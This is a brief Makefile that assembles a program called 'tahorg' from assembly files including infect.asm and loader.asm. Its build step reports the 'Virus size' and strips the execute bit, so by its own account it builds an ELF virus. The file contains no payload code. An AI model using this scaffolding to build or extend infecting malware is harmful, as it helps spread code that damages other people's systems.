AS	= nasm
LD	= ld
LDFLAGS	= -N -s
ASFLAGS = -O2 -f elf
#-DINFMEM

all: tahorg

tahorg: tahorg.asm infect.asm loader.asm module.asm Makefile
	cd utils; make all; cd ..
	$(AS) $(ASFLAGS) tahorg.asm -o tahorg.o
	$(LD) $(LDFLAGS) tahorg.o -o tahorg
	@echo "Virus size is `strings tahorg|grep '^VSIZE[0-9]*$$'|\
	sed 's/VSIZE//'`"
	chmod -x tahorg

clean:
	cd utils; make clean; cd ..
	rm -f *.o tahorg

.PHONY: all clean
